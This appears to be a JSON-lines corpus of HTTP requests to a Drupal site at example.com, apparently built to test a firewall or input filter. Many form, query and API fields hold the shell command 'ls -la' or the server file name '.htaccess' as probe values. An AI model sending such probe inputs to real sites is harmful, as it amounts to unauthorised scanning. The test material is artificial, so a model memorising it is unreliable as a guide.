{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"ls -la\", \"description\": {\"value\": \"ls -la\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"ls -la\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"ls -la\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"ls -la\"}}}"}
{"method": "GET", "target": "/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=.htaccess&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \".htaccess\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=.htaccess&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=.htaccess&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GSm8BZcaqC2oMD0ss2FLRrO7emC2Tk555Tl2-yqMDSc&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yF5zyquuedtxdGI3ewxQBnBb1LBkUhTFaEgI7Ecz0gw&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-5bArh5towO4oOBS-LIH1R8r8x_d3EdGh4BjmTmwdEE4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-CwIvpadrxAEPW4KJvATOVvytevY3_g-IzPU78-Abnc4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ZgRgfU0UomrkDUUeKSF-XFs0OERMNCjqd3ntusnlEJ0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TyCu70S2J4pGKbDVvrkOHAUZ4DMIhBioTuPucHezJ4E&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=ls--la%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-RGdB8fxpsJLcBO_bnVSFq_dDSgGp9y4UkvBcULmEA6U&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=.htaccess&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=.htaccess&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-oawiR3_b82FmHmX3iUCg6bbyHUVliOpSnlCbE9gNfQ8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=.htaccess%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=.htaccess&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \".htaccess\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \".htaccess\", \"description\": {\"value\": \".htaccess\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \".htaccess\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \".htaccess\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \".htaccess\"}}}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=Example-notes%40example.com&op=Create+new+account"}
